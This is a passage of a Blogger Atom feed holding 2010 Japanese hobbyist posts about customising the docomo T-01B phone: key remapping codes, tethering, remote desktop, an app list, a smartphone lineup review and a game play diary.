src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3956674319051473701</id><published>2010-11-17T00:47:00.001+09:00</published><updated>2010-11-17T00:47:32.983+09:00</updated><title type='text'>T-01B（IS02）でリモートデスクトップ</title><content type='html'>&lt;p&gt;遅れながらも&lt;a href="http://blog.livedoor.jp/yurith/archives/50733442.html"&gt;この&lt;/a&gt;記事を参照して自分も試してみた。&lt;/p&gt; &lt;p&gt;ルーターを使っている場合、アドレス変換機能を利用する必要がある。&lt;/p&gt; &lt;p&gt;試したところ、操作に支障はない遠隔操作ができた。&lt;/p&gt; &lt;p&gt;動画再生などはやはりカックカク。&lt;/p&gt; &lt;p&gt;ブラウジングも問題なくこなせるので実用性はかなりありそう。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;こういう機能が利用できると&lt;a href="http://direct.sanwa.co.jp/ItemPage/400-MA018"&gt;こんなの&lt;/a&gt;がほしくなってくる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;今後の回線の高速化で画面の表示が滑らかになれば、ハイエンドPCを遠隔操作することでCrysisとかも携帯電話でプレイできるようになるかもしれませんね！&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3956674319051473701?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3956674319051473701/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3956674319051473701&amp;isPopup=true' title='2 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3956674319051473701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3956674319051473701'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/11/t-01b_17.html' title='T-01B（IS02）でリモートデスクトップ'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7382897366955770528</id><published>2010-11-15T02:25:00.001+09:00</published><updated>2010-11-15T02:25:42.633+09:00</updated><title type='text'>知っておくと便利なT-01B（に限らないかもしれない）キーコード</title><content type='html'>&lt;p&gt;SortInchKeyの導入を前提としておきます。入れ方がわからない人はググってね。&lt;/p&gt; &lt;p&gt;ここの記事を読めば作者様には悪いけど、「FEPTgl」も「SendHyphen」も入れなくておｋってことがわかるかな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;左クリック右クリック（右上左上のシルバーのキー）はそれぞれ : 0x70と0x71&lt;/p&gt; &lt;p&gt;カメラキー : 0xE9&lt;/p&gt; &lt;p&gt;カメラキー長押し : 0xEB&lt;/p&gt; &lt;p&gt;サーチキー（虫眼鏡のマーク） : 0x5B+0xC4&lt;/p&gt; &lt;p&gt;タスク : 0x5B+0xC5&lt;/p&gt; &lt;p&gt;マナー : 0xE6&lt;/p&gt; &lt;p&gt;- : 0xBD&lt;/p&gt; &lt;p&gt;DEL : 0x2E&lt;/p&gt; &lt;p&gt;半角/全角（スイッチ） : 0xF3&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あとはvkeychecker.exeでいろいろ調べてね。&lt;/p&gt; &lt;p&gt;なぜか「^」これのキーが0xDEのはずなんだけど、0xBBになる。ちなみにDEは「;」。&lt;/p&gt; &lt;p&gt;これぐらいを知っておくと便利かな？タブやらそのほか普通のキーに関してはググればリストがでるし。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7382897366955770528?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7382897366955770528/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7382897366955770528&amp;isPopup=true' title='2 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7382897366955770528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7382897366955770528'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/11/t-01b.html' title='知っておくと便利なT-01B（に限らないかもしれない）キーコード'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6602977648480299880</id><published>2010-11-09T02:03:00.001+09:00</published><updated>2010-11-09T02:03:30.187+09:00</updated><title type='text'>docomo新スマートフォンラインナップ</title><content type='html'>&lt;p&gt;2010/11/8日に新たに4機種ラインナップがありました。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;BlackBerryはさておきその他3機種の紹介&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・TOSHIBA REGZA Phone T-01C&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Display : 4inch WVGA(854*480) TFT静電容量式マルチタッチディスプレイ&lt;/p&gt; &lt;p&gt;CPU : SnapDragon&lt;/p&gt; &lt;p&gt;OS : Android2.1（2.2へのアップデートの噂も）&lt;/p&gt; &lt;p&gt;RAM : 512Mbyte&lt;/p&gt; &lt;p&gt;ストレージ : 1GByte&lt;/p&gt; &lt;p&gt;Camera : 12.2MPixel&lt;/p&gt; &lt;p&gt;その他 : 赤外線 FeliCa ワンセグ 防水 ATOK &lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;SHARP LYNX 3D SH-03C&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Display : 3.8inch WVGA(800*480) NewモバイルASV液晶&lt;/p&gt; &lt;p&gt;CPU : SnapDragon&lt;/p&gt; &lt;p&gt;OS : Android2.1 （2.2へのアップデートあり）&lt;/p&gt; &lt;p&gt;RAM : 512Mbyte&lt;/p&gt; &lt;p&gt;ストレージ : 1GByte&lt;/p&gt; &lt;p&gt;Battery : 1400mAh&lt;/p&gt; &lt;p&gt;Camera ： 約960万画素CCD、オートフォーカス、フラッシュ付、720p@24fps HD動画撮影、手ぶれ補正機能など&lt;/p&gt; &lt;p&gt;その他 : ワンセグ FeliCa&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;LG Optimus chat L-04C&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Display : 3.2inch HarfVGA(480*320)&lt;/p&gt; &lt;p&gt;CPU : Qualcomm MSM7227 600MHz&lt;/p&gt; &lt;p&gt;OS : Android2.2R&lt;/p&gt; &lt;p&gt;RAM : 256Mbyte&lt;/p&gt; &lt;p&gt;ストレージ : 512MByte&lt;/p&gt; &lt;p&gt;Camera&amp;nbsp; : 3.2MPixel オートフォーカス&lt;/p&gt; &lt;p&gt;その他 : フルキーボード搭載&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まさか、Optimus chat L-04Cのスペックがここまでひどいなんて。&lt;/p&gt; &lt;p&gt;酷いとはいえ前世代(HT-01Aの世代）のもっさりを改善したぐらいの端末ですけどね。&lt;/p&gt; &lt;p&gt;スペックが削がれている分価格は安価でしょう。&lt;/p&gt; &lt;p&gt;今回のラインナップを見る限り、一番良さそうなのはSHARPのLYNX 3D。&lt;/p&gt; &lt;p&gt;REGZA PhoneとLYNX 3Dの比較ではカメラ性能と3D液晶という観点はLYNX 3D、解像度はREGZA Phone。（ただし54Pixelだけ）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;GALAPAGOS 005SHがかなりいい。しかしSoftBank。Docomoもあれぐらいの端末を出さないかなぁ。&lt;/p&gt; &lt;p&gt;最近SoftBankがやたらいい端末出してる件。回線がもうちょっとしっかりしてるならSoftBankに戻ろうかなとも考えてしまう・・・。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6602977648480299880?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6602977648480299880/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6602977648480299880&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6602977648480299880'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6602977648480299880'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/11/docomo.html' title='docomo新スマートフォンラインナップ'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-116207903868348905</id><published>2010-10-26T05:26:00.001+09:00</published><updated>2010-10-26T05:26:02.329+09:00</updated><title type='text'>CS:S L4D風に 実況プレイスタート!</title><content type='html'>&lt;p&gt;多分相当つまらないただのプレイ日記状態。&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:4a419d7c-595d-4da4-aab2-fed41975df92" class="wlWriterEditableSmartContent"&gt;&lt;div id="ae9faabe-2666-40de-96c3-8b12c10e5a23" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=evuCUS6zX9s" target="_new"&gt;&lt;img src="http://lh6.ggpht.com/_toMCQOU2NRI/TMXn1UHbLCI/AAAAAAAAAME/gzmKUDAcvCk/video3f058879ae08%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('ae9faabe-2666-40de-96c3-8b12c10e5a23'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/evuCUS6zX9s&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/evuCUS6zX9s&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:1982fbd0-2e72-4f5b-9ec8-5a334416a239" class="wlWriterEditableSmartContent"&gt;&lt;div id="1a06187b-e25d-4254-8544-54ebeb4544ef" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=guxQJUYmSDI" target="_new"&gt;&lt;img src="http://lh6.ggpht.com/_toMCQOU2NRI/TMXn2FTk_kI/AAAAAAAAAMI/ZMlGQU7Axcc/video050ea9435386%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('1a06187b-e25d-4254-8544-54ebeb4544ef'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/guxQJUYmSDI&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/guxQJUYmSDI&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;CS(Hostage Resque)のマップでホラーっぽいのなら結構あるからそれなりに楽しめるかな。&lt;/p&gt; &lt;p&gt;とりあえず次はスキン変えておきます。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-116207903868348905?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/116207903868348905/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=116207903868348905&amp;isPopup=true' title='3 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/116207903868348905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/116207903868348905'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/css-l4d.html' title='CS:S L4D風に 実況プレイスタート!'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_toMCQOU2NRI/TMXn1UHbLCI/AAAAAAAAAME/gzmKUDAcvCk/s72-c/video3f058879ae08%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3773224318730543320</id><published>2010-10-25T06:18:00.001+09:00</published><updated>2010-10-25T15:11:56.843+09:00</updated><title type='text'>T-01B をリストア</title><content type='html'>&lt;p&gt;とある人からの要望もありこの記事を書くことにしました。&lt;/p&gt; &lt;p&gt;今までの環境でも別に問題はなかったのですが、若干のごみが気になったので悩んだあげくリストアしました。&lt;/p&gt; &lt;p&gt;連絡帳などのデータは全部Windows Liveで管理しているのでWindows Liveにサインインするだけで同期され、修復完了。&lt;/p&gt; &lt;p&gt;そして同期タイミングを受信するごとに設定してプッシュメールに設定。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、ということでインストールしたソフトをリストアップ（リストアだけに）&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;FEPTgl ATOKの入力切替を[ひらがな]←→[半角英数]のスイッチにするソフト&lt;br&gt;Aplio&lt;br&gt;BttMon タスクバーにバッテリー残量表示&lt;br&gt;Disengage Bluetoothと3G通信を同時に&lt;br&gt;Font（メイリオ）&lt;br&gt;FPSeCe PSエミュレーター&lt;br&gt;Google Map 地図&lt;br&gt;GSFinder+ W-zero3 ファイラー&lt;br&gt;ICS Internet Connection Share インターネット共有&lt;br&gt;KTCapt キャプチャソフト&lt;br&gt;Midomi ラジオやらハミングから曲を検索するソフト&lt;br&gt;moTweets Twitterクライアント&lt;br&gt;MultiKeyHook&lt;br&gt;Notepad メモ帳&lt;br&gt;Opera Mobile 10 かなり快適なブラウザ&lt;br&gt;PocketHand2 ポケットの手&lt;br&gt;qik ライブ配信ソフト&lt;br&gt;Recozero 録音ソフト&lt;br&gt;Skype Mobile 3.0 メッセンジャーソフト&lt;br&gt;SortInchKey キー割り当て&lt;br&gt;TCPMP メディアプレイヤー&lt;br&gt;TRE レジストリエディタ&lt;br&gt;uGReader Google Readerと同期してくれるRSSリーダー&lt;br&gt;WkTASK タスクマネージャ？&lt;br&gt;Youtube Youtubeアプリ&lt;br&gt;二次の素 QRコード発行&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;結構あるな・・・。&lt;/p&gt; &lt;p&gt;あとはGPS ToggleでずっとGPSを有効にしていつでもすぐにGoogleMapで現在地を表示できるようにしてみようかな。&lt;/p&gt; &lt;p&gt;これであとは設定をしていかないとね。&lt;/p&gt; &lt;p&gt;とりあえず、これに＋してGSGetfile.dllをWindowsフォルダにコピー。&lt;/p&gt; &lt;p&gt;MultiKeyHookにAddでSortInchKeyを追加。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;SortInchKeyの設定&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;DEL（0x2E）をハイフン（0xBD）に&lt;br&gt;TAB（0x09 &amp;amp; スキャンコード:0x0E）をアプリ起動のFEPTglに&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;SortInchKey導入後はカメラボタンの動作がおかしくなるので、以下の設定も必要になります。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;カメラ（0xE9）をアプリ起動のカメラに&lt;br&gt;カメラ長押し（0xE9）をアプリ起動のKTCaptに&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;入力モードが変更されても下の表示アイコンは「あ」のままになってるけど普通に直接入力になってるはず。&lt;/p&gt; &lt;p&gt;一旦これで幸せになれたかな。&lt;/p&gt; &lt;p&gt;あとはサーチキーをFNに変更したいんだけどどうもうまくいかない。&lt;/p&gt; &lt;p&gt;VKeyCheckerで調べたところ、&lt;/p&gt; &lt;p&gt;サーチキー（虫眼鏡のマークのキー）のキーコードは0x5B+0xC4。&lt;/p&gt; &lt;p&gt;で、なんでTABで入力切替を行っているかというと「FNと文字キー」が0xE4という同じキーコードがでてきたから何が何だかよくわからなかったからだ。&lt;/p&gt; &lt;p&gt;調べたところ0xE4はFNらしい。じゃぁ文字キーは・・・？&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[&lt;font color="red"&gt;&lt;u&gt;DEL（0x2e）をキークリックのハイフン（0xbd）に&lt;/u&gt;&lt;/font&gt;]&lt;/p&gt; &lt;p&gt;プルダウンメニューが数ミリしか出ないため、この設定が死ぬほどむずい。&lt;/p&gt; &lt;p&gt;やり方があるんだけど、口説明じゃわかりにくそうだからまた動画でも貼り付けますよ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3773224318730543320?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3773224318730543320/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3773224318730543320&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3773224318730543320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3773224318730543320'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b_25.html' title='T-01B をリストア'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1205636455664333227</id><published>2010-10-21T00:01:00.001+09:00</published><updated>2010-11-15T00:51:01.199+09:00</updated><title type='text'>今頃？T-01Bの入力を快適に</title><content type='html'>&lt;p&gt;とりあえず、入力切替は日本語←→英語だけでいいし、ハイフンが同時押しとかデザインした人頭くｒ（ｒｙ&lt;/p&gt; &lt;p&gt;っていうことでそれを解消しましょう。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;とりあえず、&lt;a title="http://icchu.jp/soft/bin/Cab/SendHyphen.CAB" href="http://icchu.jp/soft/bin/Cab/SendHyphen.CAB"&gt;SendHypen.cab&lt;/a&gt;と&lt;a title="http://tk109.matrix.jp/blog/DownLoad/FEPTgl.cab" href="http://tk109.matrix.jp/blog/DownLoad/FEPTgl.cab"&gt;FEPTgl.cab&lt;/a&gt;もインストール&lt;/p&gt; &lt;p&gt;そしてスタート→設定→個人→ボタン&lt;/p&gt; &lt;p&gt;ボタンの割り当てはサーチに「SendHypen」、タスクに「FEPTgl」。&lt;/p&gt; &lt;p&gt;FEPTglはATOKでしかテストしてません。&lt;/p&gt; &lt;p&gt;これで相当幸せになれるはず。&lt;/p&gt; &lt;p&gt;タスクボタンを使ってる人はWkTaskにすればもっと便利になるよ。&lt;/p&gt; &lt;p&gt;T-01Bじゃこれも初期設定だな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;上記の方法で快適にはなるもののSendHyphenだと押してから入力されるまでに0.2秒ぐらいかかる。&lt;/p&gt; &lt;p&gt;というわけで方針をかえて常駐タイプの「PQzII」か「SortInchKey + MultiKeyHook」でやってみようかな。&lt;/p&gt; &lt;p&gt;せっかくキーの入れ替えができるということなので「キー全体にShift同時押しキーとFn同時押しキーがあるためFnとShiftは両側にないと不便」という点も改善しましょう。&lt;/p&gt; &lt;p&gt;SortInchKey + MultiKeyHookのボタンの入れ替え&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;1.入力切替をタスクキーと入れ替え。タスクキーに「FEPTgl」を割り当て&lt;/p&gt; &lt;p&gt;2.サーチキーをハイフンに&lt;/p&gt; &lt;p&gt;3.DelキーをFnに&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;入れ替えるキーから入力されるキーコードなどは後日追記します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;というか「Touch Contact（シェアウェア 1200円）」っていうアプリケーションが相当便利。&lt;/p&gt; &lt;p&gt;Skypeの制御ができて着信時バイブ、スピーカー切り替えができるらしい。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;ほしい・・・´ｑ｀&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1205636455664333227?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1205636455664333227/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1205636455664333227&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1205636455664333227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1205636455664333227'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b_21.html' title='今頃？T-01Bの入力を快適に'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-2677768826576332843</id><published>2010-10-19T23:43:00.001+09:00</published><updated>2010-10-20T13:57:02.798+09:00</updated><title type='text'>T-01Bでテザリング（モデム化）</title><content type='html'>&lt;p&gt;&lt;a href="http://axe1lyze.blogspot.com/2010/10/t-01b-bluetooth.html"&gt;ひとつ前に書いた記事&lt;/a&gt;でT-01Bで3GとBluetoothを同時に使うことを説明しました。&lt;/p&gt; &lt;p&gt;これができている人のみ以下の動作を行えばテザリングが可能になります。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;1.「ICSInstaller.cab」をどこからか落としてきてインストール&lt;/p&gt; &lt;p&gt;2.再起動してまた3GとBluetoothを同時に使えるようにする&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;3.プログラムの中に追加されている「IntShrUI」を起動&lt;/p&gt; &lt;p&gt;4.以下の設定にして接続をタップ&lt;br&gt;　PCとの接続：Bluetooth PAN&lt;br&gt;　ネットワーク接続：任意&lt;/p&gt; &lt;p&gt;5.ネットワークに接続したいPCからT-01Bに接続&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これでぱーぺき！&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;速度はUSENで測ると下り1.5Mbps。&lt;/p&gt; &lt;p&gt;BNRで測ると400Kbps。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、これでオンラインFPSでもやってみるか。&lt;/p&gt; &lt;p&gt;その前にMy docomoに登録してデータ通信料をチェックしておかないと。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-2677768826576332843?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/2677768826576332843/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=2677768826576332843&amp;isPopup=true' title='4 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2677768826576332843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2677768826576332843'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b_19.html' title='T-01Bでテザリング（モデム化）'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3325370083470591327</id><published>2010-10-18T18:40:00.001+09:00</published><updated>2010-10-29T08:41:55.552+09:00</updated><title type='text'>T-01B Bluetooth と パケット通信を同時に</title><content type='html'>&lt;p&gt;以前できなくて、ソフトウェアアップデート後、久々に気が向いてやってみたらなぜかできた。&lt;/p&gt; &lt;p&gt;成功時、NX!UIのワイヤレスマネージャではBluetoothは有効になっていないし、パケット通信の表示もされない。&lt;/p&gt; &lt;p&gt;自分が成功したやり方は以下&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;1.Disengage GUI版 0.05をダウンロード&lt;/p&gt; &lt;p&gt;2.解凍し本体「disengage.exe」をroot\Program Files\に配置&lt;/p&gt; &lt;p&gt;3.配置後「disengage.exe」のショートカットを作成し、スタートアップに配置&lt;/p&gt; &lt;p&gt;4.ワイヤレスマネージャからすべてオフ&lt;/p&gt; &lt;p&gt;5.Disengageを起動し、スタート→設定→Bluetoothから「新しいデバイスの追加」をタップ&lt;/p&gt; &lt;p&gt;6.Disengageで「BT On検知、書換」が一番下に表示されていることを確認し、再起動する&lt;/p&gt; &lt;p&gt;7.スタートアップから起動されたDisengageの一番下に「BT On検知、書換」と表示されていることを確認し、ワイヤレスマネージャから電話をONにしパケット通信を開始する&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;自分はこのやり方で確実に成功しています。&lt;/p&gt; &lt;p&gt;この作業が終わったらDisengageを終了しても俺のはBluetoothがオンのままで使える状態だった。&lt;/p&gt; 